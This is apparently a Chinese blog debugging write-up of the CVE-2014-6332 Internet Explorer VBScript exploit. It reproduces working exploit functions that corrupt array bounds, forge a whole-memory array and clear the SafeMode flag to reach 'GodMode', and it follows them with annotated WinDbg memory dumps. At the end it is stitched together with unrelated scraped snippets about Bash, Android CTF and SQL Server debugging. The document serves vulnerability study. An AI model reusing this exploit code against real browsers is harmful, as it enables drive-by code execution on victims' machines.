  if (instr(info,"Win64")>0) then
    exit function
  end if
  if (instr(info,"MSIE")>0) then
    intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
  else
    exit function
  end if

  BeginInit()
  if Create()=True then
    myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
    myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(00)
    Setnotsafemode()
  end if
end function

function BeginInit()
  Randomize()
  redim aa(5)
  redim ab(5)
  a0=13+17*rnd(6)
  a3=7+3*rnd(5)
end function

function Create()
  On Error Resume Next
  dim i
  Create=False
  for i = 0 to 400
    if Over()=True then
      Create=True
      exit for
    end if
  next
end function

sub testaa()
end sub

function Mydata()
  On Error Resume Next
  i=testaa
  i=null

  redim Preserve aa(a2)
  ab(0)=0
  aa(a1)=i
  IsEmpty("Assign With CScriptEntryPoint Object")
  ab(0)=6.36598737437801E-314
  IsEmpty("Change CScriptEntryPoint VarType")
  aa(a1+2)=myarray
  IsEmpty("Assign With myrray")
  ab(2)=1.74088534731324E-310
  IsEmpty("Change myarray VarType")
  Mydata=aa(a1)
  redim Preserve aa(a0)
end function

function Setnotsafemode()
  On Error Resume Next
  i=Mydata()
  i=ReadMemo(i+8)
  i=ReadMemo(i+16)  

  for k=0 to &h60 step 4
    j=ReadMemo(i+&h120+k)
    if (j=14) then
      redim Preserve aa(a2)
      aa(a1+2)(i+&h11c+k)=ab(4)
      redim Preserve aa(a0)
      exit for
    end if
  next

  ab(2)=1.69759663316747E-313
  Runmumaa()
end function

function Over()
  On Error Resume Next
  dim type1
  Over=False
  a0=a0+a3
  a1=a0+2
  a2=a0+&h8000000
  redim Preserve aa(a0)
  redim ab(a0)

  redim Preserve aa(a2)
  type1=1
  ab(0)=1.012345678901234567890123456789
  aa(a0)=10

  if (IsObject(aa(a1-1)) = False) then
    if (VarType(aa(a1-1))<>0) then
      if (IsObject(aa(a1)) = False) then
        type1=VarType(aa(a1))
      end if
    end if
  end if
  if (type1=&h0b24) then
    IsEmpty(ab)
    Over=True
  end if
  redim Preserve aa(a0)
end function

function ReadMemo(add)
  On Error Resume Next
  redim Preserve aa(a2)
  ab(0)=0
  aa(a1)=add+4
  ab(0)=1.69759663316747E-313
  IsEmpty(add)
  IsEmpty(lenb(aa(a1)))
  ReadMemo=lenb(aa(a1))
  ab(0)=0
  redim Preserve aa(a0)
end function
</script>
</body>
</html>

1)  Over()  构造内存布局,记下ab(0)的位置

          0:005> dd poi(poi(poi(esp+c)+c)+c)
          002d08a0  00000005 00000000 61f20b24 3ff03291
          002d08b0  00000000 00000000 00000000 00000000
          002d08c0  00000000 00000000 00000000 00000000
          002d08d0  00000000 00000000 00000000 00000000
          002d08e0  00000000 00000000 00000000 00000000
          002d08f0  00000000 00000000 00000000 00000000
          002d0900  00000000 00000000 00000000 00000000
          002d0910  00000000 00000000 00000000 00000000
          0:005> dd 002d08a0-0x18
aa(a0)    002d0888  00000002 00000000 61f2000a 3ff03291
aa(a1-1)  002d0898  27f7cc31 0800a73b 00000005 00000000  ab(0)
aa(a1)    002d08a8  61f20b24 3ff03291 00000000 00000000  ab(1)
aa(a1+1)  002d08b8  00000000 00000000 00000000 00000000  ab(2)
aa(a1+2)  002d08c8  00000000 00000000 00000000 00000000  ab(3)
          002d08d8  00000000 00000000 00000000 00000000
          002d08e8  00000000 00000000 00000000 00000000
          002d08f8  00000000 00000000 00000000 00000000

2) Setnotsafemode()->Mydata()   拿到CScriptEntryPoint对象; 填入精心构造的myarray备用

          0:005> du poi(poi(esp+c)+8)
          01f4ddb8  "Assign With CScriptEntryPoint Ob"
          01f4ddf8  "ject"
          0:005> dd 002d08a0-0x18
aa(a0)    002d0888  00000002 00000000 61f2000a 3ff03291
aa(a1-1)  002d0898  27f7cc31 0800a73b 00000002 00000000  ab(0)
aa(a1)    002d08a8  00000001 00620150 01f50270 9a000f95  ab(1)   --> 已经拿到CScriptEntryPoint对象,但类型是null,需要改类型为long,才能通过aa读出
aa(a1+1)  002d08b8  00000000 00000000 00000000 00000000  ab(2)
aa(a1+2)  002d08c8  00000000 00000000 00000000 00000000  ab(3)
          002d08d8  00000000 00000000 00000000 00000000
          002d08e8  00000000 00000000 00000000 00000000
          002d08f8  00000000 00000000 00000000 00000000
          0:005> ln poi(01f50270)
          (6ca44934)   vbscript!CScriptEntryPoint::`vftable‘   |  (6ca5ab54)   vbscript!CEntryPointDispatch::`vftable‘
          Exact matches:
              vbscript!CScriptEntryPoint::`vftable‘ = <no type information>
          0:005> g
          Breakpoint 0 hit
          eax=6ca4185c ebx=01f2cf50 ecx=6ca9a9d8 edx=01f2cec8 esi=01f4de0c edi=00000001
          eip=6ca5c206 esp=01f2cde4 ebp=01f2cdf4 iopl=0         nv up ei pl zr na pe nc
          cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
          vbscript!VbsIsEmpty:
          6ca5c206 8bff            mov     edi,edi
          0:005> du poi(poi(esp+c)+8)
          01f4de24  "Change CScriptEntryPoint VarType"
          01f4de64  ""
          0:005> dd 002d08a0-0x18
aa(a0)    002d0888  00000002 00000000 61f2000a 3ff03291
aa(a1-1)  002d0898  27f7cc31 0800a73b 00000005 00000000  ab(0)
aa(a1)    002d08a8  00000003 00000003 01f50270 9a000f95  ab(1)  --> 改变VarType成功
aa(a1+1)  002d08b8  00000000 00000000 00000000 00000000  ab(2)
aa(a1+2)  002d08c8  00000000 00000000 00000000 00000000  ab(3)
          002d08d8  00000000 00000000 00000000 00000000
          002d08e8  00000000 00000000 00000000 00000000
          002d08f8  00000000 00000000 00000000 00000000
          0:005> g
          Breakpoint 0 hit
          eax=6ca4185c ebx=01f2cf50 ecx=6ca9a9d8 edx=01f2cec8 esi=01f4de0c edi=00000001
          eip=6ca5c206 esp=01f2cde4 ebp=01f2cdf4 iopl=0         nv up ei pl zr na pe nc
          cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
          vbscript!VbsIsEmpty:
          6ca5c206 8bff            mov     edi,edi
          0:005> du poi(poi(esp+c)+8)
          01f4de70  "Assign With myrray"
          0:005> dd 002d08a0-0x18
aa(a0)    002d0888  00000002 00000000 61f2000a 3ff03291
aa(a1-1)  002d0898  27f7cc31 0800a73b 00000005 00000000  ab(0)
aa(a1)    002d08a8  00000003 00000003 01f50270 9a000f95  ab(1)
aa(a1+1)  002d08b8  00000000 00000000 00000000 00000000  ab(2)
aa(a1+2)  002d08c8  01f20008 00000023 002fccec 01f2cef8  ab(3) --> 精心构造了字符串,目前还是string类型
          002d08d8  00000000 00000000 00000000 00000000
          002d08e8  00000000 00000000 00000000 00000000
          002d08f8  00000000 00000000 00000000 00000000
          0:005> dd 002fccec
          002fccec  08800001 00000001 00000000 00000000       --> 字符串精心构造成Array的结构,Array的长度还设置成0x7fff0000,每个元素0x01字节, 数据buffer是0x00000000
          002fccfc  7fff0000 00000000 00000000 1291ed9f
          002fcd0c  80000000 6a00ffff 00000842 0027fca8
          002fcd1c  002df720 00000000 00000035 0032450c
          002fcd2c  00324524 1291ed98 88000000 00000000
          002fcd3c  00000000 0027fca8 00000000 00000000
          002fcd4c  00000056 0032453c 002ae5d4 1291ed95
          002fcd5c  80000000 6a0001f6 00000868 0027fca8
          0:005> g
          Breakpoint 0 hit
          eax=6ca4185c ebx=01f2cf50 ecx=6ca9a9d8 edx=01f2cec8 esi=01f4de0c edi=00000001
          eip=6ca5c206 esp=01f2cde4 ebp=01f2cdf4 iopl=0         nv up ei pl zr na pe nc
          cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
          vbscript!VbsIsEmpty:
          6ca5c206 8bff            mov     edi,edi
          0:005> du poi(poi(esp+c)+8)
          01f4dea0  "Change myarray VarType"
          0:005> dd 002d08a0-0x18
aa(a0)    002d0888  00000002 00000000 61f2000a 3ff03291
aa(a1-1)  002d0898  27f7cc31 0800a73b 00000005 00000000  ab(0)
aa(a1)    002d08a8  00000003 00000003 01f50270 9a000f95  ab(1)
aa(a1+1)  002d08b8  00000000 00000000 00000005 00000000  ab(2)
aa(a1+2)  002d08c8  0000200c 0000200c 002fccec 01f2cef8  ab(3)  -->成功把string类型改为Array类型
          002d08d8  00000000 00000000 00000000 00000000
          002d08e8  00000000 00000000 00000000 00000000
          002d08f8  00000000 00000000 00000000 00000000

3) Setnotsafemode() -> ReadMemo() 读取指定内存内容,从而拿到COleScript对象

这里我们重点看ReadMemo是如何拿到指定内存内容的

          0:005> g
          Breakpoint 0 hit
          eax=6ca4185c ebx=01f2cf50 ecx=6ca9a9d8 edx=01f2cec8 esi=01f4de0c edi=00000001
          eip=6ca5c206 esp=01f2cde4 ebp=01f2cdf4 iopl=0         nv up ei pl zr na pe nc
          cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
          vbscript!VbsIsEmpty:
          6ca5c206 8bff            mov     edi,edi
          0:005> dd poi(esp+c)
          01f45cf8  00000003 00000003 01f50278 9a000f95  --> ReadMemo 参数是 add=01f50270+8
          01f45d08  00000000 00000000 41f9b9f4 00000000
          01f45d18  01f2d244 01f45d68 01f50008 9a000f95
          01f45d28  00000003 00000003 01f50278 9a000f95
          01f45d38  00000000 00000000 00000000 00000000
          01f45d48  00000000 00000000 00000000 00000000
          01f45d58  01f40000 01f43e54 01f50a30 00000000
          01f45d68  01f2d488 01f45d88 01f50a20 00000000
          0:005> dd 002d08a0-0x18
aa(a0)    002d0888  00000002 00000000 61f2000a 3ff03291
aa(a1-1)  002d0898  27f7cc31 0800a73b 00000005 00000000  ab(0)
aa(a1)    002d08a8  00000008 00000008 01f5027c 41a00000  ab(1) --> 通过aa(a1)、ab(0)赋值,使得 aa(a1)类型为String,根据String的结构,内容前4个字节是存放长度的位置,所以lenb(aa(a1))会去读01f50278的内容
aa(a1+1)  002d08b8  00000000 00000000 00000005 00000000  ab(2)
aa(a1+2)  002d08c8  0000200c 0000200c 002fccec 01f2cef8  ab(3)
          002d08d8  00000000 00000000 00000000 00000000
          002d08e8  00000000 00000000 00000000 00000000
          002d08f8  00000000 00000000 00000000 00000000
          0:005> g
          Breakpoint 0 hit
          eax=6ca4185c ebx=01f2cf50 ecx=6ca9a9d8 edx=01f2cec8 esi=01f4de0c edi=00000001
          eip=6ca5c206 esp=01f2cde4 ebp=01f2cdf4 iopl=0         nv up ei pl zr na pe nc
          cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
          vbscript!VbsIsEmpty:
          6ca5c206 8bff            mov     edi,edi
          0:005> dd poi(esp+c)
          01f45cf8  00000003 00000000 01f4ff80 01f44484  --> 结果为01f4ff80
          01f45d08  00000000 00000000 41f9b9f4 00000000
          01f45d18  01f2d244 01f45d68 01f50008 9a000f95
          01f45d28  00000003 00000003 01f50278 9a000f95
          01f45d38  00000000 00000000 00000000 00000000
          01f45d48  00000000 00000000 00000000 00000000
          01f45d58  01f40000 01f43e54 01f50a30 00000000
          01f45d68  01f2d488 01f45d88 01f50a20 00000000

          0:005> dd 01f50278 l1                         --> 01f50278的内容的确是01f4ff80
          01f50278  01f4ff80

继续ReadMemo(i+16), 最终能拿到COleScript对象

4) 最后搜索内存中的SafeMode标志,如果是0e,则改为ab(4),ab(4)的值就是0

  for k=0 to &h60 step 4
    j=ReadMemo(i+&h120+k)
    if (j=14) then
      redim Preserve aa(a2)
      aa(a1+2)(i+&h11c+k)=ab(4)
      redim Preserve aa(a0)
      exit for
    end if
  next

aa(a1+2) 是精心构造的myarray,  Array的长度是0x7fff0000,每个元素0x01字节, 数据buffer是0x00000000,因此aa(a1+2)可访问内存空间是0x00000000-0x7fff0000

aa(a1+2)(i+&h11c+k)=ab(4)  即将SafeMode标识改为0x0, 从而升级为GodMode权限。

弹出Notepad, 分析结束!

时间: 2024-11-03 23:51:48

CVE-2014-6332调试的相关文章

Bash漏洞批量检测工具与修复方案

&amp;amp;lt;img src="http://image.3001.net/images/20140928/14118931103311.jpg!small" title="shellshock-bug-bash-bashbug-938x535.jpg"/&amp;amp;gt;&amp;amp;lt;/strong&amp;amp;gt;&amp;amp;lt;/span&amp;amp;gt;&a

阿里2014移动安全挑战赛第二题调试笔记

0x00前言 最近在学习安卓安全,看到52破解上面有分析2014年阿里安全挑战赛的第二个crackme的文章.勾起了我的回忆,那是我第一次参加安全比赛,在安卓安全也没有做多深入的学习.第一题比较简单,直接在logcat里面就可以看到输出的信息,只要将数字和文字的关系对应关系搞明白就可以解出来.第二题我就遇到困难了,虽然临时学会了怎么用ida调试so,但只要ida附加到进程上去,程序就退出了,屡试不爽.心里也有往反调试那边想,但是功力不足没有能把反调试干掉,最后止步于这一题.现在又看到基于这道题的

SQL SERVER 2014无法启动T-SQL调试的解决方法(亲自实践)

将 Windows 登录帐户添加为 sysadmin 已经具有 sysadmin 特权的用户必须执行以下命令: sp_addsrvrolemember 'Domain\Name', 'sysadmin' 其中,Domain\Name 表示 Windows 登录帐户. 默认情况下,运行 SQL Server 的计算机上的 Windows 管理员就是该计算机上的 SQL Server 系统管理员 (sysadmin). 例如:exec sp_addsrvrolemember 'aaa-PC\Admi

如何调试移动端网页

本文将会介绍如何在真机上调试移动端的页面,和之前的<如何在电脑上测试手机网站>的不同之处在于真机环境. 本会介绍的方法如下: UC浏览器开发版 Chrome 远程调试 Firefox 远程调试 Opera 远程调试 Weinre UC浏览器开发版 感谢UC造出这么好用的浏览器,同时注重开发者,远好于国内其他厂商,UC浏览器有一个开发版非常赞. UC浏览器开发版网址 下载地址 UC开发版的网站上介绍的很清楚,也有很详细的文档,这里就不再赘述,简单记录下WIFI的调试方法,保证pc和手机在同一个网

GDB调试之二栈溢出

linux下应用程序中经常会发生段错误段错误基本上是由于访问非法内存所导致的如栈溢出.数组越界访问.malloc/free内存所引起的.在linux下发生段错误时会生成core dump核心转储文件里面记录了发生段错误时的函数调用关系. ubuntu14.04下默认发生段错误时并不产生核心转储文件需要额外的配置通过命令 ulimit -c查看是否允许的core dump文件大小.如果只是临时需要用到可以使用命令ulimit -c unlimited临时打开则发生段错误时会在当前目录下产生core

Android逆向之旅---动态方式破解apk进阶篇(IDA调试so源码)

一.前言 今天我们继续来看破解apk的相关知识,在前一篇:Eclipse动态调试smali源码破解apk 我们今天主要来看如何使用IDA来调试Android中的native源码,因为现在一些app,为了安全或者效率问题,会把一些重要的功能放到native层,那么这样一来,我们前篇说到的Eclipse调试smali源码就显得很无力了,因为核心的都在native层,Android中一般native层使用的是so库文件,所以我们这篇就来介绍如何调试so文件的内容,从而让我们破解成功率达到更高的一层.

使用curl来调试你的应用

我们在客户端开发过程中总免不了和后端进行api对接,有时候需要对返回的数据格式进行调试,有时候每次运行客户端来发送请求,这个未免效率太低,这里就来介绍一个好用的工具--curl. curl curl是一个向服务器传输数据的工具,它支持http.https.ftp.ftps.scp.sftp.tftp.telnet等协议,这里只针对http进行讲解一些常用的用法,具体安装请自行搜索. 打开百度 curl http://www.baidu.com 接着你就会看到百度的页面源代码输出. 如果要把这个网

【转】九个Console命令,让js调试更简单

一.显示信息的命令 1: <!DOCTYPE html> 2: <html> 3: <head> 4: <title>常用console命令</title> 5: <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 6: </head> 7: <body> 8: <script

iOS 证书、真机调试、发布 App Store

之前对iOS的证书弄的很不清楚,Xcode里面也有各种证书,作为一个有强迫症的巨蟹座,这是不能忍的 趁着准备发布自己的第一个app,梳理一下这块内容 主要参考了这几篇文章: iOS开发:创建真机调试证书 http://jingyan.baidu.com/article/ff411625b8141312e48237a7.html 如何清除xcode里面的mobileprovision文件http://www.shuizhongyueming.com/2014/04/how-to-clear-mob

javascript调试

今天,发现了一个之前从未注意的角落,相信能够大大提高自己写JS的速度.能够迅速发现错误. 例如,今天的加班中调试一个js错误发现的一个例子. 1.Google浏览器报的错 以上是google浏览器报的错误,只报一个错误文件,相信是什么地方由null调用了length属性导致的.由于这是一个已经维护了几年的系统,人来人往,不知道经历了几个人之手.而且业务逻辑极其复杂,js文件都上千行.要一个length一个length的排除,显然是不切实际的. 2014.3.18 今天才知道,唉,原来google